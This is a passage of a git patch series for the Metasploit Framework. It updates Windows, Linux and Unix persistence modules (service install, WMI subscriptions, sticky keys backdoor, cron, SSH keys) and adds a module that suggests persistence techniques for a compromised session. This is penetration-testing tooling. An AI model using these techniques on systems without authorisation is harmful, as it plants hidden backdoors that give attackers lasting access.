=> [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], - 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + 'SideEffects' => [CONFIG_CHANGES] } ) ) From 5dee099d893afda04b89393d9581347c9d884627 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 1 Feb 2025 09:05:03 -0500 Subject: [PATCH 47/94] windows persistence_exe updates --- .../exploits/windows/persistence/persistence_exe.rb | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/persistence/persistence_exe.rb b/modules/exploits/windows/persistence/persistence_exe.rb index 9946e374abdd..7dbc8b815360 100644 --- a/modules/exploits/windows/persistence/persistence_exe.rb +++ b/modules/exploits/windows/persistence/persistence_exe.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class MetasploitModule < Msf::Post +class MetasploitModule < Msf::Exploit::Local include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv @@ -11,6 +11,7 @@ class MetasploitModule < Msf::Post include Msf::Post::Windows::Services include Msf::Post::Windows::TaskScheduler include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'post/windows/manage/persistence_exe' @@ -59,11 +60,11 @@ def initialize(info = {}) OptBool.new('RUN_NOW', [false, 'Run the installed payload immediately.', true]), ] ) - deregister_options('WritableDir') register_advanced_options( [ - OptString.new('LocalExePath', [false, 'The local exe path to run. Use temp directory as default. ']), + OptString.new('LocalExePath', [false, 'The local exe path to run. Use temp directory as default.']), + # XXX this should now be OptString.new('RemoteExePath', [ false, 'The remote path to move the payload to. Only valid when the STARTUP option is set '\ @@ -74,6 +75,12 @@ def initialize(info = {}) OptString.new('ServiceDescription', [false, 'The description of service. Random string as default.' ]) ] ) + + deregister_options('WritableDir') + end + + def check + CheckCode::Unsupported('This module will likely be broken up and removed in the future so no check is being written') end # Run Method for when run command is issued From 3a079b158fe59e261470945dad5f5a1b9cf224c5 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 1 Feb 2025 09:05:36 -0500 Subject: [PATCH 48/94] windows persistence_exe updates --- modules/exploits/windows/persistence/persistence_exe.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/exploits/windows/persistence/persistence_exe.rb b/modules/exploits/windows/persistence/persistence_exe.rb index 7dbc8b815360..0fa2b1f1355a 100644 --- a/modules/exploits/windows/persistence/persistence_exe.rb +++ b/modules/exploits/windows/persistence/persistence_exe.rb @@ -4,6 +4,8 @@ ## class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking + include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv From 5c090d81c76d538358c79e70ad725778e5f4e5e8 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 1 Feb 2025 09:14:40 -0500 Subject: [PATCH 49/94] rubocop fixes --- modules/exploits/windows/persistence/service.rb | 2 +- modules/exploits/windows/persistence/wmi.rb | 6 ++---- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/persistence/service.rb b/modules/exploits/windows/persistence/service.rb index 814f1b5b39fd..84fe4ab16ede 100644 --- a/modules/exploits/windows/persistence/service.rb +++ b/modules/exploits/windows/persistence/service.rb @@ -200,7 +200,7 @@ def install_service(path) begin session.sys.process.execute("cmd.exe /c \"#{path}\" #{@install_cmd}", nil, { 'Hidden' => true }) - rescue ::Exception => e + rescue StandardError => e print_error('Failed to install the service.') print_error(e.to_s) end diff --git a/modules/exploits/windows/persistence/wmi.rb b/modules/exploits/windows/persistence/wmi.rb index c86f2cda85d9..ecb4a211f0c1 100644 --- a/modules/exploits/windows/persistence/wmi.rb +++ b/modules/exploits/windows/persistence/wmi.rb @@ -226,13 +226,11 @@ def remove_persistence clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" else clean_up_rc = "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" end + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" file_local_write(clean_rc, clean_up_rc) print_status("Clean up Meterpreter RC file: #{clean_rc}") end From e8fafedf6a3c612fc3208a2411e780f8b01ae764 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 1 Feb 2025 09:24:53 -0500 Subject: [PATCH 50/94] fix notes metadata for unix at persistence --- modules/exploits/unix/persistence/at.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/persistence/at.rb b/modules/exploits/unix/persistence/at.rb index 4bd8775e6712..038a2122849f 100644 --- a/modules/exploits/unix/persistence/at.rb +++ b/modules/exploits/unix/persistence/at.rb @@ -36,8 +36,8 @@ def initialize(info = {}) ['URL', 'https://attack.mitre.org/techniques/T1053/002/'], ], 'Notes' => { - 'Reliability' => [REPEATABLE_SESSION], - 'Stability' => [CRASH_SAFE, EVENT_DEPENDENT], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) From c36f98ab3230120f3f715d9fe07a454f9bee847b Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 2 Feb 2025 09:52:20 -0500 Subject: [PATCH 51/94] create persistence suggester --- modules/exploits/linux/persistence/cron.rb | 14 +- modules/exploits/linux/persistence/sshkey.rb | 5 + modules/exploits/unix/persistence/at.rb | 1 + .../windows/persistence/persistence_exe.rb | 7 +- .../persistence/process_exit_debugger.rb | 1 + .../windows/persistence/ps_persist.rb | 4 +- .../exploits/windows/persistence/registry.rb | 1 + .../windows/persistence/registry_vbs.rb | 1 + modules/exploits/windows/persistence/s4u.rb | 1 + .../exploits/windows/persistence/service.rb | 3 +- .../exploits/windows/persistence/sshkey.rb | 7 +- .../windows/persistence/sticky_keys.rb | 9 +- modules/exploits/windows/persistence/vss.rb | 1 + modules/exploits/windows/persistence/wmi.rb | 1 + .../multi/recon/local_exploit_suggester.rb | 7 +- .../post/multi/recon/persistence_suggester.rb | 425 ++++++++++++++++++ 16 files changed, 472 insertions(+), 16 deletions(-) create mode 100644 modules/post/multi/recon/persistence_suggester.rb diff --git a/modules/exploits/linux/persistence/cron.rb b/modules/exploits/linux/persistence/cron.rb index a74ce91b455d..bd726e1cad23 100644 --- a/modules/exploits/linux/persistence/cron.rb +++ b/modules/exploits/linux/persistence/cron.rb @@ -75,15 +75,17 @@ def check end case target.name - # when 'Cron' - # when 'System Crontab' + when 'Cron' + return CheckCode::Safe("#{target.opts[:path]} doesn't exist") unless exists?(target.opts[:path]) + return CheckCode::Safe("Can't write to: #{target.opts[:path]}") unless writable?(target.opts[:path]) + when 'System Crontab' + return CheckCode::Safe("#{target.opts[:path]} doesn't exist") unless exists?(target.opts[:path]) + return CheckCode::Safe("Can't write to: #{target.opts[:path]}") unless writable?(target.opts[:path]) when 'User Crontab' - unless user_cron_permission?(datastore['USERNAME']) - return CheckCode::Unknown('User denied cron via cron.deny') - end + return CheckCode::Unknown('User denied cron via cron.deny') unless user_cron_permission?(datastore['USERNAME']) end - CheckCode::Detected('Cron timing is valid, no cron.deny entries found') + CheckCode::Appears('Cron timing is valid, no cron.deny entries found') end def user_cron_permission?(user) diff --git a/modules/exploits/linux/persistence/sshkey.rb b/modules/exploits/linux/persistence/sshkey.rb index e9d57e3f3dd3..0204ea171bbe 100644 --- a/modules/exploits/linux/persistence/sshkey.rb +++ b/modules/exploits/linux/persistence/sshkey.rb @@ -30,6 +30,11 @@ def initialize(info = {}) ], 'Platform' => [ 'linux' ], 'SessionTypes' => [ 'meterpreter', 'shell' ], + # these are lies, but for compatibility + 'Arch' => ARCH_CMD, + 'Targets' => [ ['Automatic', {}] ], + 'DefaultTarget' => 0, + # end lies 'References' => [ ['URL', 'https://attack.mitre.org/techniques/T1098/004/'] ], diff --git a/modules/exploits/unix/persistence/at.rb b/modules/exploits/unix/persistence/at.rb index 038a2122849f..78acdc0f7821 100644 --- a/modules/exploits/unix/persistence/at.rb +++ b/modules/exploits/unix/persistence/at.rb @@ -29,6 +29,7 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'Platform' => %w[unix], 'Arch' => ARCH_CMD, + 'SessionTypes' => ['meterpreter', 'shell'], 'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html 'References' => [ ['URL', 'https://linux.die.net/man/1/at'], diff --git a/modules/exploits/windows/persistence/persistence_exe.rb b/modules/exploits/windows/persistence/persistence_exe.rb index 0fa2b1f1355a..d215ec34d03e 100644 --- a/modules/exploits/windows/persistence/persistence_exe.rb +++ b/modules/exploits/windows/persistence/persistence_exe.rb @@ -30,8 +30,13 @@ def initialize(info = {}) }, 'License' => MSF_LICENSE, 'Author' => [ 'Merlyn drforbin Cousins ' ], - 'Platform' => [ 'windows' ], + 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter'], + # these are lies since its a bring your own payload module, but for compatibility + 'Arch' => ARCH_CMD, + 'Targets' => [ ['Automatic', {}] ], + 'DefaultTarget' => 0, + # end lies 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ diff --git a/modules/exploits/windows/persistence/process_exit_debugger.rb b/modules/exploits/windows/persistence/process_exit_debugger.rb index f8b321215a0c..d2a20d5e7ccc 100644 --- a/modules/exploits/windows/persistence/process_exit_debugger.rb +++ b/modules/exploits/windows/persistence/process_exit_debugger.rb @@ -36,6 +36,7 @@ def initialize(info = {}) [ 'Automatic', {} ] ], 'DefaultTarget' => 0, + 'Arch' => [ARCH_X64, ARCH_X86], 'DisclosureDate' => '2008-06-28', 'References' => [ ['URL', 'https://attack.mitre.org/techniques/T1183/'], diff --git a/modules/exploits/windows/persistence/ps_persist.rb b/modules/exploits/windows/persistence/ps_persist.rb index 02b8ef2c198d..69975e419cbc 100644 --- a/modules/exploits/windows/persistence/ps_persist.rb +++ b/modules/exploits/windows/persistence/ps_persist.rb @@ -34,7 +34,7 @@ def initialize(info = {}) 'RageLtMan ', # Module, libs, and powershell-fu 'Matt "hostess" Andreko' # .NET harness, and requested modifications ], - + 'Arch' => [ARCH_X64, ARCH_X86], 'Payload' => { 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => @@ -42,7 +42,7 @@ def initialize(info = {}) 'BufferRegister' => 'EAX' } }, - 'Platform' => [ 'windows' ], + 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Universal', {} ] ], 'DefaultTarget' => 0, diff --git a/modules/exploits/windows/persistence/registry.rb b/modules/exploits/windows/persistence/registry.rb index e42a65671d58..8f04323e8870 100644 --- a/modules/exploits/windows/persistence/registry.rb +++ b/modules/exploits/windows/persistence/registry.rb @@ -31,6 +31,7 @@ def initialize(info = {}) ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'Arch' => [ARCH_X64, ARCH_X86], 'Targets' => [ [ 'Automatic', {} ] ], diff --git a/modules/exploits/windows/persistence/registry_vbs.rb b/modules/exploits/windows/persistence/registry_vbs.rb index 5809f5ad3759..f7955ae21808 100644 --- a/modules/exploits/windows/persistence/registry_vbs.rb +++ b/modules/exploits/windows/persistence/registry_vbs.rb @@ -34,6 +34,7 @@ def initialize(info = {}) 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter', 'shell' ], 'Targets' => [ [ 'Windows', {} ] ], + 'Arch' => [ARCH_X64, ARCH_X86], 'DefaultTarget' => 0, 'DisclosureDate' => '2011-10-19', 'Compat' => { diff --git a/modules/exploits/windows/persistence/s4u.rb b/modules/exploits/windows/persistence/s4u.rb index bac80feead55..9e6e7f84af69 100644 --- a/modules/exploits/windows/persistence/s4u.rb +++ b/modules/exploits/windows/persistence/s4u.rb @@ -36,6 +36,7 @@ def initialize(info = {}) 'Targets' => [ [ 'Windows', {} ] ], 'DisclosureDate' => '2013-01-02', # Date of scriptjunkie's blog post 'DefaultTarget' => 0, + 'Arch' => [ARCH_X64, ARCH_X86], 'References' => [ [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/' ], [ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/' ], diff --git a/modules/exploits/windows/persistence/service.rb b/modules/exploits/windows/persistence/service.rb index 84fe4ab16ede..029e2a3d0a34 100644 --- a/modules/exploits/windows/persistence/service.rb +++ b/modules/exploits/windows/persistence/service.rb @@ -27,10 +27,11 @@ def initialize(info = {}) }, 'License' => MSF_LICENSE, 'Author' => [ 'Green-m ' ], - 'Platform' => [ 'windows' ], + 'Platform' => [ 'win' ], 'Targets' => [['Windows', {}]], 'SessionTypes' => [ 'meterpreter' ], 'DefaultTarget' => 0, + 'Arch' => [ARCH_X64, ARCH_X86], 'References' => [ [ 'URL', 'https://github.com/rapid7/metasploit-framework/blob/master/external/source/metsvc/src/metsvc.cpp' ], [ 'URL', 'https://attack.mitre.org/techniques/T1543/003/' ] diff --git a/modules/exploits/windows/persistence/sshkey.rb b/modules/exploits/windows/persistence/sshkey.rb index 75e8d3c2eddc..5d04a84347dd 100644 --- a/modules/exploits/windows/persistence/sshkey.rb +++ b/modules/exploits/windows/persistence/sshkey.rb @@ -28,7 +28,12 @@ def initialize(info = {}) 'Author' => [ 'Dean Welch ' ], - 'Platform' => [ 'windows' ], + 'Platform' => [ 'win' ], + # these are lies, but for compatibility + 'Arch' => ARCH_CMD, + 'Targets' => [ ['Automatic', {}] ], + 'DefaultTarget' => 0, + # end lies 'SessionTypes' => [ 'meterpreter', 'shell' ], 'Compat' => { 'Meterpreter' => { diff --git a/modules/exploits/windows/persistence/sticky_keys.rb b/modules/exploits/windows/persistence/sticky_keys.rb index 149850384663..7ec161a2e82f 100644 --- a/modules/exploits/windows/persistence/sticky_keys.rb +++ b/modules/exploits/windows/persistence/sticky_keys.rb @@ -41,19 +41,24 @@ def initialize(info = {}) using the registry method if this module is run without modifying any parameters. }, 'Author' => ['OJ Reeves'], - 'Platform' => ['win'], + 'Platform' => [ 'win' ], 'SessionTypes' => ['meterpreter', 'shell'], 'Actions' => [ ['ADD', { 'Description' => 'Add the backdoor to the target.' }], ['REMOVE', { 'Description' => 'Remove the backdoor from the target.' }] ], + 'DefaultAction' => 'ADD', + # these are lies, but for compatibility + 'Arch' => ARCH_CMD, + 'Targets' => [ [ 'Automatic', {} ] ], + 'DefaultTarget' => 0, + # end lies 'DisclosureDate' => '1995-08-24', # released with Windows 95 'References' => [ ['URL', 'https://web.archive.org/web/20170201184448/https://social.technet.microsoft.com/Forums/windows/en-US/a3968ec9-5824-4bc2-82a2-a37ea88c273a/sticky-keys-exploit'], ['URL', 'https://blog.carnal0wnage.com/2012/04/privilege-escalation-via-sticky-keys.html'], ['URL', 'https://attack.mitre.org/techniques/T1546/008/'] ], - 'DefaultAction' => 'ADD', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], diff --git a/modules/exploits/windows/persistence/vss.rb b/modules/exploits/windows/persistence/vss.rb index d35e46575213..8b62b5fe5ff7 100644 --- a/modules/exploits/windows/persistence/vss.rb +++ b/modules/exploits/windows/persistence/vss.rb @@ -32,6 +32,7 @@ def initialize(info = {}) 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ [ 'Microsoft Windows', {} ] ], + 'Arch' => [ARCH_X64, ARCH_X86], 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'https://web.archive.org/web/20201111212952/https://securityweekly.com/2011/11/02/safely-dumping-hashes-from-liv/' ], diff --git a/modules/exploits/windows/persistence/wmi.rb b/modules/exploits/windows/persistence/wmi.rb index ecb4a211f0c1..41a9b2b05376 100644 --- a/modules/exploits/windows/persistence/wmi.rb +++ b/modules/exploits/windows/persistence/wmi.rb @@ -48,6 +48,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Privileged' => true, 'Platform' => 'win', + 'Arch' => [ARCH_X64, ARCH_X86], 'SessionTypes' => ['meterpreter'], 'Targets' => [['Windows', {}]], 'DisclosureDate' => '2017-06-06', diff --git a/modules/post/multi/recon/local_exploit_suggester.rb b/modules/post/multi/recon/local_exploit_suggester.rb index c947e298287b..a12efcf9a002 100644 --- a/modules/post/multi/recon/local_exploit_suggester.rb +++ b/modules/post/multi/recon/local_exploit_suggester.rb @@ -146,6 +146,7 @@ def setup print "%bld%blu[*]%clr Collecting exploit #{index + 1} / #{exploit_refnames.count}\r" mod = framework.exploits.create name next unless mod + next if name.include? '/persistence/' # avoid persistence modules, they have their own suggester set_module_options mod set_module_target mod @@ -379,9 +380,9 @@ def unwanted_modules_table(unwanted_modules) def vprint_session_info vprint_status 'Current Session Info:' - vprint_status "Session Type: #{session.type}" - vprint_status "Architecture: #{session_arch}" - vprint_status "Platform: #{session.platform}" + vprint_status " Session Type: #{session.type}" + vprint_status " Architecture: #{session_arch}" + vprint_status " Platform: #{session.platform}" end def is_check_interesting?(checkcode) diff --git a/modules/post/multi/recon/persistence_suggester.rb b/modules/post/multi/recon/persistence_suggester.rb new file mode 100644 index 000000000000..edaa9828c8bc --- /dev/null +++ b/modules/post/multi/recon/persistence_suggester.rb @@ -0,0 +1,425 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Persistence Exploit Suggester', + 'Description' => %q{ + This module suggests persistence modules that can be used. + + The modules are suggested based on the architecture and platform + that the user has a shell opened as well as the available exploits + in meterpreter. + + It's important to note that not all modules will be checked. + Exploits are chosen based on these conditions: session type, + platform, architecture, and required default options. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'h00die' ], + 'Platform' => all_platforms, + 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + register_options [ + Msf::OptInt.new('SESSION', [ true, 'The session to run this module on' ]), + Msf::OptBool.new('SHOWDESCRIPTION', [true, 'Displays a detailed description for the available exploits', false]) + ] + + register_advanced_options( + [ + # most linux persistence modules are arch-cmd but for payload purposes only + # but usually we end up with a meterpreter session, thus making these invalid + # so disable this check by default + Msf::OptBool.new('ValidateArch', [true, 'Validate architecture', false]), + Msf::OptBool.new('ValidatePlatform', [true, 'Validate platform', true]), + Msf::OptBool.new('ValidateMeterpreterCommands', [true, 'Validate Meterpreter commands', false]), + Msf::OptString.new('Colors', [false, 'Valid, Invalid and Ignored colors for module checks (unset to disable)', 'grn/red/blu']) + ] + ) + end + + def all_platforms + Msf::Module::Platform.subclasses.collect { |c| c.realname.downcase } + end + + def session_arch + # Prefer calling native arch when available, as most LPEs will require this (e.g. x86, x64) as opposed to Java/Python Meterpreter's values (e.g. Java, Python) + session.respond_to?(:native_arch) ? session.native_arch : session.arch + end + + def is_module_arch?(mod) + mod_arch = mod.target.arch || mod.arch + mod_arch.include?(session_arch) + rescue StandardError => e + print_error "Failed to check module arch for #{mod.fullname} => #{e}" + end + + def is_module_wanted?(mod) + mod[:result][:incompatibility_reasons].empty? + end + + def is_session_type?(mod) + # There are some modules that do not define any compatible session types. + # We could assume that means the module can run on all session types, + # Or we could consider that as incorrect module metadata. + mod.session_types.include?(session.type) + end + + def is_module_platform?(mod) + platform_obj = Msf::Module::Platform.find_platform session.platform + return false if mod.target.nil? + + module_platforms = mod.target.platform ? mod.target.platform.platforms : mod.platform.platforms + module_platforms.include? platform_obj + rescue ArgumentError => e + # When not found, find_platform raises an ArgumentError + elog('Could not find a platform', error: e) + return false + end + + def has_required_module_options?(mod) + get_all_missing_module_options(mod).empty? + end + + def get_all_missing_module_options(mod) + missing_options = [] + mod.options.each_pair do |option_name, option| + missing_options << option_name if option.required && option.default.nil? && mod.datastore[option_name].blank? + end + missing_options + end + + def valid_incompatibility_reasons(mod, verify_reasons) + # As we can potentially ignore some `reasons` (e.g. accepting arch values which are, on paper, not compatible), + # this keeps track of valid reasons why we will not consider the module that we are evaluating to be valid. + valid_reasons = [] + valid_reasons << "Missing required module options (#{get_all_missing_module_options(mod).join('. ')})" unless verify_reasons[:has_required_module_options] + + incompatible_opts = [] + incompatible_opts << 'architecture' unless verify_reasons[:is_module_arch] + incompatible_opts << 'platform' unless verify_reasons[:is_module_platform] + incompatible_opts << 'session type' unless verify_reasons[:is_session_type] + valid_reasons << "Not Compatible (#{incompatible_opts.join(', ')})" if incompatible_opts.any? + + valid_reasons << 'Missing/unloadable Meterpreter commands' if verify_reasons[:missing_meterpreter_commands].any? + valid_reasons + end + + def set_module_options(mod) + ignore_list = ['ACTION', 'TARGET'].freeze + datastore.each_pair do |k, v| + mod.datastore[k] = v unless ignore_list.include?(k.upcase) + end + if !mod.datastore['SESSION'] && session.present? + mod.datastore['SESSION'] = session.sid + end + end + + def set_module_target(mod) + session_platform = Msf::Module::Platform.find_platform(session.platform) + target_index = mod.targets.find_index do |target| + # If the target doesn't define its own compatible platforms or architectures, default to the parent (module) values. + target_platforms = target.platform&.platforms || mod.platform.platforms + target_architectures = target.arch || mod.arch + + target_platforms.include?(session_platform) && target_architectures.include?(session_arch) + end + mod.datastore['Target'] = target_index if target_index + end + + def setup + return unless session + + print_status "Collecting persistence modules for #{session.session_type}..." + + setup_validation_options + setup_color_options + + # Collects persistence modules into an array + @persistence_modules = [] + exploit_refnames = framework.exploits.module_refnames + exploit_refnames.each_with_index do |name, index| + print "%bld%blu[*]%clr Collecting exploit #{index + 1} / #{exploit_refnames.count}\r" + next unless name.include? '/persistence/' + + mod = framework.exploits.create name + next unless mod + + set_module_options mod + set_module_target mod + verify_result = verify_mod(mod) + @persistence_modules << { module: mod, result: verify_result } if verify_result[:has_check] + end + end + + def verify_mod(mod) + return { has_check: false } unless mod.is_a?(Msf::Exploit::Local) && mod.has_check? + + result = { + has_check: true, + is_module_platform: (@validate_platform ? is_module_platform?(mod) : true), + is_module_arch: (@validate_arch ? is_module_arch?(mod) : true), + has_required_module_options: has_required_module_options?(mod), + missing_meterpreter_commands: (@validate_meterpreter_commands && session.type == 'meterpreter') ? meterpreter_session_incompatibility_reasons(session) : [], + is_session_type: is_session_type?(mod) + } + result[:incompatibility_reasons] = valid_incompatibility_reasons(mod, result) + result + end + + def setup_validation_options + @validate_arch = datastore['ValidateArch'] + @validate_platform = datastore['ValidatePlatform'] + @validate_meterpreter_commands = datastore['ValidateMeterpreterCommands'] + end + + def setup_color_options + @valid_color, @invalid_color, @ignored_color = + (datastore['Colors'] || '').split('/') + + @valid_color = "%#{@valid_color}" unless @valid_color.blank? + @invalid_color = "%#{@invalid_color}" unless @invalid_color.blank? + @ignored_color = "%#{@ignored_color}" unless @ignored_color.blank? + end + + def show_found_exploits + unless datastore['VERBOSE'] + print_status "#{@persistence_modules.length} exploit checks are being tried..." + return + end + + vprint_status "The following #{@persistence_modules.length} exploit checks are being tried:" + @persistence_modules.each do |x| + vprint_status x[:module].fullname + end + end + + def run + runnable_exploits = @persistence_modules.select { |mod| is_module_wanted?(mod) } + if runnable_exploits.empty? + print_error 'No suggestions available.' + vprint_line + vprint_session_info + vprint_status unwanted_modules_table(@persistence_modules.reject { |mod| is_module_wanted?(mod) }) + return + end + + show_found_exploits + results = runnable_exploits.map.with_index do |mod, index| + print "%bld%blu[*]%clr Running check method for exploit #{index + 1} / #{runnable_exploits.count}\r" + begin + checkcode = mod[:module].check + rescue StandardError => e + elog("#Local Exploit Suggester failed with: #{e.class} when using #{mod[:module].shortname}", error: e) + vprint_error "Check with module #{mod[:module].fullname} failed with error #{e.class}" + next { module: mod[:module], errors: ['The check raised an exception.'] } + end + + if checkcode.nil? + vprint_error "Check failed with #{mod[:module].fullname} for unknown reasons" + next { module: mod[:module], errors: ['The check failed for unknown reasons.'] } + end + + # See def is_check_interesting? + unless is_check_interesting? checkcode + vprint_status "#{mod[:module].fullname}: #{checkcode.message}" + next { module: mod[:module], errors: [checkcode.message] } + end + + # Prints the full name and the checkcode message for the exploit + print_good "#{mod[:module].fullname}: #{checkcode.message}" + + # If the datastore option is true, a detailed description will show + if datastore['SHOWDESCRIPTION'] + # Formatting for the description text + Rex::Text.wordwrap(Rex::Text.compress(mod[:module].description), 2, 70).split(/\n/).each do |line| + print_line line + end + end + + next { module: mod[:module], checkcode: checkcode.message } + end + + print_line + print_status valid_modules_table(results) + + vprint_line + vprint_session_info + vprint_status unwanted_modules_table(@persistence_modules.reject { |mod| is_module_wanted?(mod) }) + + report_data = [] + results.each do |result| + report_data << [result[:module].fullname, result[:checkcode]] if result[:checkcode] + end + report_note( + host: session.session_host, + type: 'persistence.suggested_module', + data: report_data + ) + end + + def valid_modules_table(results) + name_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new + check_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new + + # Split all the results by their checkcode. + # We want the modules that returned a checkcode to be at the top. + checkcode_rows, without_checkcode_rows = results.partition { |result| result[:checkcode] } + rows = (checkcode_rows + without_checkcode_rows).map.with_index do |result, index| + color = result[:checkcode] ? @valid_color : @invalid_color + check_res = result.fetch(:checkcode) { result[:errors].join('. ') } + name_styler.merge!({ result[:module].fullname => color }) + check_styler.merge!({ check_res => color }) + + [ + index + 1, + result[:module].fullname, + result[:checkcode] ? 'Yes' : 'No', + check_res + ] + end + + Rex::Text::Table.new( + 'Header' => "Valid modules for session #{session.sid}:", + 'Indent' => 1, + 'Columns' => [ '#', 'Name', 'Potentially Vulnerable?', 'Check Result' ], + 'SortIndex' => -1, + 'WordWrap' => false, # Don't wordwrap as it messes up coloured output when it is broken up into more than one line + 'ColProps' => { + 'Name' => { + 'Stylers' => [name_styler] + }, + 'Potentially Vulnerable?' => { + 'Stylers' => [::Msf::Ui::Console::TablePrint::CustomColorStyler.new({ 'Yes' => @valid_color, 'No' => @invalid_color })] + }, + 'Check Result' => { + 'Stylers' => [check_styler] + } + }, + 'Rows' => rows + ) + end + + def unwanted_modules_table(unwanted_modules) + arch_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new + platform_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new + session_type_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new + + rows = unwanted_modules.map.with_index do |mod, index| + begin + platforms = mod[:module].target.platform&.platforms&.any? ? mod[:module].target.platform.platforms : mod[:module].platform.platforms + rescue NoMethodError + platforms = nil + end + platforms ||= [] + begin + arch = mod[:module].target.arch&.any? ? mod[:module].target.arch : mod[:module].arch + rescue NoMethodError + arch = nil + end + arch ||= [] + + arch.each do |a| + if a != session_arch + if @validate_arch + color = @invalid_color + else + color = @ignored_color + end + else + color = @valid_color + end + + arch_styler.merge!({ a.to_s => color }) + end + + platforms.each do |module_platform| + if module_platform != ::Msf::Module::Platform.find_platform(session.platform) + if @validate_platform + color = @invalid_color + else + color = @ignored_color + end + else + color = @valid_color + end + + platform_styler.merge!({ module_platform.realname => color }) + end + + mod[:module].session_types.each do |session_type| + color = session_type == session.type ? @valid_color : @invalid_color + session_type_styler.merge!(session_type.to_s => color) + end + + [ + index + 1, + mod[:module].fullname, + mod[:result][:incompatibility_reasons].join('. '), + platforms.any? ? platforms.map(&:realname).sort.join(', ') : 'No defined platforms', + arch.any? ? arch.sort.join(', ') : 'No defined architectures', + mod[:module].session_types.any? ? mod[:module].session_types.sort.join(', ') : 'No defined session types' + ] + end + + Rex::Text::Table.new( + 'Header' => "Incompatible modules for session #{session.sid}:", + 'Indent' => 1, + 'Columns' => [ '#', 'Name', 'Reasons', 'Platform', 'Architecture', 'Session Type' ], + 'WordWrap' => false, + 'ColProps' => { + 'Architecture' => { + 'Stylers' => [arch_styler] + }, + 'Platform' => { + 'Stylers' => [platform_styler] + }, + 